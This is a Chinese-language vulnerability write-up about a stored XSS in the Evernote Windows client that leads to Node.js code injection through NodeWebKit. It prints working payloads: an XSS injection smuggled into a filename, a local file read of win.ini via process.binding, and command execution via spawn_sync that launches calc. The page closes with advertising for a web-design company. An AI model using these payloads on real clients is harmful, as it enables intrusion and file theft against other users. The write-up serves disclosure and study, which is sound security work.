如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

這篇文章給大家介紹如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析,內(nèi)容非常詳細(xì),感興趣的小伙伴們可以參考借鑒,希望對(duì)大家能有所幫助。

創(chuàng)新互聯(lián)公司主要從事成都做網(wǎng)站、網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計(jì)、企業(yè)做網(wǎng)站、公司建網(wǎng)站等業(yè)務(wù)。立足成都服務(wù)寧武,十年網(wǎng)站建設(shè)經(jīng)驗(yàn),價(jià)格優(yōu)惠、服務(wù)專業(yè),歡迎來電咨詢建站服務(wù):13518219792

0x00 前言

2018/09/20 ,我當(dāng)時(shí)的同事@sebao告訴我印象筆記修復(fù)了他的XSS漏洞并登上了名人堂,碰巧國(guó)慶的時(shí)候考古過幾個(gè)客戶端 XSS 導(dǎo)致命令執(zhí)行的案例,就想在印象筆記客戶端也尋找一下類似的問題。在之后的測(cè)試過程中,我不僅發(fā)現(xiàn)原本的XSS修復(fù)方案存在漏洞、利用這個(gè)XSS漏洞實(shí)現(xiàn)了本地文件讀取和遠(yuǎn)程命令執(zhí)行,還通過分享筆記的功能實(shí)現(xiàn)了遠(yuǎn)程攻擊。

0x01 漏洞簡(jiǎn)介

印象筆記 Windows 客戶端 6.14 版本修復(fù)了一個(gè)儲(chǔ)存型 XSS。

由于只修復(fù)了 XSS 的入口點(diǎn)而沒有在出口處添加過濾,導(dǎo)致攻擊者可以在 6.14 版本的客戶端中生成儲(chǔ)存型 XSS并在 6.15 版本中觸發(fā)。

印象筆記的展示模式是使用 NodeWebKit 實(shí)現(xiàn)的,通過儲(chǔ)存型 XSS 可以在展示模式下注入 Nodejs 代碼。

經(jīng)過各種嘗試,最終通過注入的 Nodejs 代碼實(shí)現(xiàn)了本地文件讀取和遠(yuǎn)程命令執(zhí)行。

0x02 印象筆記 Windows 客戶端 6.14 儲(chǔ)存型 XSS 漏洞

@sebao 發(fā)現(xiàn)的儲(chǔ)存型 XSS 漏洞的觸發(fā)方式如下: 1. 在筆記中添加一張圖片 2. 右鍵并將該圖片更名為” onclick=”alert(1)”>.jpg”3. 雙擊打開該筆記并點(diǎn)擊圖片,成功彈框。

如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

經(jīng)過測(cè)試,印象筆記官方修復(fù)該 XSS 的方式為:在更名處過濾了>、<、”等特殊字符,但有意思的是我在 6.14 版本下測(cè)試的 XSS 在6.15 版本中依舊可以彈框,這也就意味著:官方只修了 XSS 的入口,在 XSS 的輸出位置,依舊是沒有任何過濾的。

0x03 演示模式下的 Nodejs 代碼注入

XSS 修復(fù)方案存在漏洞并不能算是一個(gè)很嚴(yán)重的安全問題,所以我決定深入挖掘一下其他的漏洞,比如本地文件讀取或者遠(yuǎn)程命令執(zhí)行。為了方便測(cè)試,我在 6.14 版本的客戶端中將一張圖片更名為” onclick=”alert(1)”><scriptsrc=”http://172.16.4.1:8000/1.js“>.jpg后,將客戶端升級(jí)為最新版 6.15。

我測(cè)試了一些特殊的API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是沒有顯著的收獲。所以我轉(zhuǎn)換了思路,遍歷C:\\Program Files(x86)\Evernote\Evernote\目錄下的所有文件。我發(fā)現(xiàn)印象筆記在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit目錄下存在NodeWebKit,在演示的時(shí)候,印象筆記會(huì)調(diào)用這個(gè)NodeWebKit。

一個(gè)更好的消息是我可以通過之前發(fā)現(xiàn)的儲(chǔ)存型 XSS 在NodeWebKit中執(zhí)行Nodejs代碼。

如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

0x04 本地文件讀取 和 遠(yuǎn)程命令執(zhí)行的實(shí)現(xiàn)

既然可以注入Nodejs代碼,那就意味著我可以嘗試使用child_process來執(zhí)行任意命令。

我嘗試使用require(‘child_process’).exec,但是卻報(bào)錯(cuò)了:Module name “child_process” has not been loaded yet forcontext。

如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

這個(gè)錯(cuò)誤并沒有澆滅我剛發(fā)現(xiàn)Nodejs代碼注入的激情,我在查閱各種資料嘗試解決/繞過 這個(gè)問題。最終,我發(fā)現(xiàn)了前人的足跡:Howwe exploited a remote code execution vulnerability in math.js

根據(jù)文中的內(nèi)容,簡(jiǎn)單的修改讀取本地文件的 payload 很快就實(shí)現(xiàn)了相應(yīng)的功能:

alert("Tryto read C:\\\\Windows\\win.ini");try{  var buffer = new Buffer(8192); process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini',0, 0600), buffer, 0, 4096);  alert(buffer);}catch(err){  alert(err);}

但是在嘗試遠(yuǎn)程命令執(zhí)行的時(shí)候,我遇到了一些問題。由于并不了解Nodejs,所以我不知道為什么NodeWebkit中沒有Object和Array,也不知道如何解決這個(gè)問題。我聽取了文中的建議,嘗試去理解child_process 的源碼 ,并且查找spawn_sync相關(guān)的用法。

最終,我從window.process.env中獲取到env的內(nèi)容,并使用spawn_sync成功地彈出了計(jì)算器。

// commandexecutedtry{  spawn_sync = process.binding('spawn_sync');  envPairs = [];  for (var key in window.process.env) {    envPairs.push(key + '=' +window.process.env[key]);  }  args = [];   const options = {    file: 'C:\\\\Windows\\system32\\calc.exe',    args: args,    envPairs: envPairs,    stdio: [      { type: 'pipe', readable: true, writable:false },      { type: 'pipe', readable: false,writable: true },      { type: 'pipe', readable: false,writable: true }    ]  };  spawn_sync.spawn(options);}catch(err){  alert(err);}

0x05 通過分享功能攻擊其他用戶

在我實(shí)現(xiàn)了本地文件讀取和本機(jī)命令執(zhí)行后,黑哥提出了一個(gè)更高的要求:證明這個(gè)漏洞可以影響到其他用戶。

在注冊(cè)了一個(gè)小號(hào)后,我嘗試使用分享功能將惡意筆記分享給 ”他人“。

如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

我的小號(hào)將會(huì)在工作空間收到別人發(fā)來的消息。

如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析

我的小號(hào)嘗試演示這個(gè)筆記,被注入的Nodejs代碼成功執(zhí)行!

關(guān)于如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。

新聞名稱:如何實(shí)現(xiàn)Windows客戶端6.15本地文件讀取和遠(yuǎn)程命令執(zhí)行漏洞分析
網(wǎng)頁鏈接:http://bm7419.com/article34/igscse.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供域名注冊(cè)關(guān)鍵詞優(yōu)化、全網(wǎng)營(yíng)銷推廣、云服務(wù)器、品牌網(wǎng)站建設(shè)、手機(jī)網(wǎng)站建設(shè)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)

營(yíng)銷型網(wǎng)站建設(shè)